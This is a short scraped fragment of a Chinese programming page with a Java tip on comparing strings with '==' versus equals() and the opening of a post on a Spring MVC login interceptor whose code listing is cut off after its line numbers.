    　1.字符串比较，使用“==”还是equals()? 　　"=="判断两个引用的是不是同一个内存地址(同一个物理对象)。 　　equals()判断两个字符串的值是否相等。 　　除非你想判断两个string引用是否同一个对象，否则应该总是使用equals()方法。 　　如果你了解字符串的驻留(String Interning)则会更好地理解这个问题。 　 　
  • SpringMVC 登陆拦截器实现登陆控制 xp9802 springMVC
    思路，先登陆后，将登陆信息存储在session中，然后通过拦截器，对系统中的页面和资源进行访问拦截，同时对于登陆本身相关的页面和资源不拦截。   实现方法： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他